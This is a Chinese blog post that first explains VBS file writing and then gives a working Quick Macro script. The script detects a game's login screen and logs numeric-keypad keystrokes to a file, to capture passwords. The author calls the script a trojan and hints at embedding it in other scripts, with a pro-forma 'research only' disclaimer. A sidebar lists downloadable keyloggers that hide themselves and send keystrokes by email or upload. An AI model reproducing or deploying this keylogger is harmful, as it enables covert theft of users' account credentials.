`
ocw356og
  • 浏览: 24436 次
最近访客 更多访客>>
社区版块
存档分类
最新评论

小键盘记录

 
阅读更多

小键盘记录
2010年03月21日
  发脚本之前,我想讲一下关于写入文件的问题,看了几个教程,对于我这样的菜鸟十分生涩,很难理解。我觉得有必要再讲讲,以下是我自己理解的,可能不对,请高手指教。
  首先讲这个:
  VBS Const ForReading=1
  VBS Const ForWriting=2
  VBS Const ForAppending=8
  也有这样写的
  VBS Const ForReading=1:VBS Const ForWriting=2:VBS Const ForAppending=8
  其实这是不用写的,这只是一个参数解释,告诉你当参数=1是是以读方式打开文件;=2时是以写方式
  打开文件,=8时是以追加写方式打开文件。那么这个参数1,2,8写在那里呢?下面再说。
  其次我们来看这个:
  VBS Set a = CreateObject("Scripting.FileSystemObject")
  这个最不好理理解,不过好在我们不用理解,你只要记住,不论生成文件还是打开文件,在前面都要加
  这么一句就可以了。其中除了a是变量名称可以改以外,其它的照搬就是了。
  接着我们来看
  VBS Set f=a.CreateTextFile(filename)
  这句是生成文件的,不光TXT文件,也可以生成htm文件等,括号中是要生成的文件路径及名称,如:“c:\1.txt”,一定要加引号的。还有就是,这句里有两个变量名f和a,前面的f是写的时候用的,后面的a要和上一句的变量名一致。
  总结一下就是说,我们想在c盘下生成一个1.txt文件,只要以下2句就可以做到:
  VBS Set a = CreateObject("Scripting.FileSystemObject")
  VBS Set f=a.CreateTextFile("c:\1.txt")
  要注意,这样创建的文件是用写方式打开的,我们可以用下面这句来写入内容:
  VBS f.WriteLine("内容")
  但这样写入会覆盖上一次写入的内容,所以不想覆盖就要用到下面这句
  VBS set f=a.opentextfile("c:\1.txt",8,True)
  这句的意思是以追加的方式打开“c:\1.txt”,如果不存在则生成一个。其中的8,就是参数,我们上面讲过,它如果是1或2时是什么意思。
  要是我以上讲的你都不理解,你就记住,用追加写方式打开一个文件,写入文本“1”,没有的话就生成一个再写入,只要这样写就好了:
  VBS Set a = CreateObject("Scripting.FileSystemObject")
  VBS set f=a.opentextfile("c:\1.txt",8,True)
  VBS f.WriteLine("1")
  就三句话,复制就好了。
  下面进入正题,木马的问题很头痛,键盘记录程序也很头痛,好在我们有专业软件。可是这就能阻止帐号丢失吗?我今天用了30分钟就写了一个键盘记录脚本,虽然暂时功能比较简单,但有了这个思路,小精灵本身就可以是木马!
  下面这个脚本可以实现,在检测到某游戏的登陆界面后,在按键精灵所在目录生成一个键盘记录文件,记录10秒种内的小键盘动作.
  Rem start
  VBSCall FindPic(0,0,1023,767,"登陆.bmp",0.9,x,y)
  If x>=0 and y>=0
  Gosub 时间
  Goto start
  Else
  Goto start
  EndIf
  Sub 时间
  VBS starttime=timer
  Rem time
  VBS stoptime=timer
  VBS t=stoptime-starttime
  //修改t的值可以延长记录时间
  If t<10
  Gosub 记录
  Goto time
  Else
  //每次记录的结果用"-------"分开
  VBS f.WriteLine("--------")
  EndScript
  EndIf
  Return
  Sub 记录
  //打开文件
  VBS filename="..\键盘记录.txt"
  VBS Set a = CreateObject("Scripting.FileSystemObject")
  VBS set f=a.opentextfile(filename,8,True)
  //监控键盘
  VBSCall Call GetKeyState(Asc)
  //写入结果
  If GetKeyState(96)=-1 or GetKeyState(96)=1
  VBS f.WriteLine("0")
  //延时越短越容易出现先1次按键多次记录的情况,目前这个值基本可以满足要求
  Delay 150
  EndIf
  If GetKeyState(97)=-1 or GetKeyState(97)=1
  VBS f.WriteLine("1")
  Delay 150
  EndIf
  If GetKeyState(98)=-1 or GetKeyState(98)=1
  VBS f.WriteLine("2")
  Delay 150
  EndIf
  If GetKeyState(99)=-1 or GetKeyState(99)=1
  VBS f.WriteLine("3")
  Delay 150
  EndIf
  If GetKeyState(100)=-1 or GetKeyState(100)=1
  VBS f.WriteLine("4")
  Delay 150
  EndIf
  If GetKeyState(101)=-1 or GetKeyState(101)=1
  VBS f.WriteLine("5")
  Delay 150
  EndIf
  If GetKeyState(102)=-1 or GetKeyState(102)=1
  VBS f.WriteLine("6")
  Delay 150
  EndIf
  If GetKeyState(103)=-1 or GetKeyState(103)=1
  VBS f.WriteLine("7")
  Delay 150
  EndIf
  If GetKeyState(104)=-1 or GetKeyState(104)=1
  VBS f.WriteLine("8")
  Delay 150
  EndIf
  If GetKeyState(105)=-1 or GetKeyState(105)=1
  VBS f.WriteLine("9")
  Delay 150
  EndIf
  If GetKeyState(13)=-1 or GetKeyState(13)=1
  VBS f.WriteLine("回车")
  Delay 150
  EndIf
  Return 记录
  目前我只写了记录小键盘的脚本,全部都监控也很简单,把它写在某些脚本的前面,然后......
  不要问我怎么能讲记录文件发送出来,虽然我前几天写了个生日密码爆破脚本,今天又写了这个,但我郑重声明:我对盗号没有兴趣!!!一切只为研究之用,非法使用,一切后果由使用者自己承担。
  希望以上对想我一样菜的朋友有帮助,最后还是要提醒,以上脚本必须安装QMBoost插件。
分享到:
评论

相关推荐

    小巧的键盘记录工具

    小巧实用的键盘记录工具,使用了VB资源包里的systray.ocx,可以隐藏到系统托盘区,而不被发现。

    墨小鬼键盘记录器v.1.0

    本机键盘记录器哦,小巧玲珑 非常好的一款个人开发的键盘记录器 向大家推荐一下

    vc编写的键盘记录工具

    自己DIY的键盘记录 1 编译键盘钩子中工程,在其Debug目录下生成hodll.dll 2 编译KeyLoger.dsw,生成键盘记录工具service.exe(为了隐蔽,我们故意生成迷惑性文件) 3 请将1中生成的hodll.dll与service.exe放于同一...

    python实现的键盘记录器小功能代码

    python实现的键盘记录器小功能代码 博客记录: https://lexsaints.blog.csdn.net/article/details/113736987

    SilentKeylogger(静音键盘记录工具)V1.33免费安装版

    Silent Keylogger是一款非常实用的静音键盘记录工具。你还在为没有好的静音键盘记录软件而苦恼吗?小编推荐你使用这款软件!这是一个静音键盘记录工具,能够帮助用户记录键盘和电脑上面的活动记录,同时还能截图。...

    键盘记录专家

    屏幕键盘记录专家,记录屏幕键盘的小工具。

    优秀的键盘记录软件绿色

    优秀的键盘记录软件绿色,不用安装,打开直接用,WIN高版本系统,请用兼容或管理员模式,不然容易卡死,还是比较好用的。文件小

    键盘记录器 记录键盘操作

    本软件,很小,使用方便,免安装,有的杀毒软件会误报毒,如果担心中毒的话请不要下载。本软件亲测,很好用。

    C#键盘记录

    C#键盘记录 将你的按键记录在一个文件里,全局钩子的使用

    DLL中英文键盘记录

    DLL 的中英文键盘记录! 可以在VC VB中调用!很好用!

    c#键盘记录.rar

    支持键盘后台记录的cSharp小程序,可以以线程运行在后台,发出来大家一起学习学习,是个不错的例程,有什么不好的地方,欢迎大家留言,第一次发帖,内心忐忑不安。

    鼠标键盘记录回放软件

    超好用的鼠标键盘记录器,纯绿色软件。点录制后,想结束按F9,然后就可以保存记录。想停止鼠标的动作就按F11结束。

    C#键盘记录并远程上传小程序

    C#实现的一个记录本地键盘输入的小程序。按CTRL+Q或超过设定时间后,将生成一个TXT文件,并发送至远端服务器。

    笨笨键盘记录v1.0

    这是我自己写的第一小软件,支持发送邮件,开机隐藏运行

    键盘记录器

    无毒的键盘记录器,使用方便,非常小巧,请勿用于方法途径,否则后果自负

    idt驱动级键盘记录

    能够记录很多密码保护框的输入 能够记录目前QQ2009密码保护框的输入,不同于winio(网上流传的哪个版本)这个更快速(延迟小)

    E卡鼠标键盘记录器 v1.0.zip

    E卡鼠标键盘记录器是自动记录鼠标键盘的一款小软件。打开即可使用,使用方便!是电脑必备小软件!

    鼠标键盘记录器

    小巧实用的鼠标键盘记录工具,如果下载后用于其它用途,后果自负,建议用于自己的电脑的监控或用于娱乐。经最新的杀毒工具检测没有病毒和木马,请放心使用。

    记录键盘案件.rar_记录键盘_键盘记录

    该程序主要演示如何在windows操作系统下面如何记录键盘案件

    C#键盘记录监测源代码,亲测可用

    C#键盘记录监测源代码,亲测可用,邮件发送过时了,建议改掉===。

Global site tag (gtag.js) - Google Analytics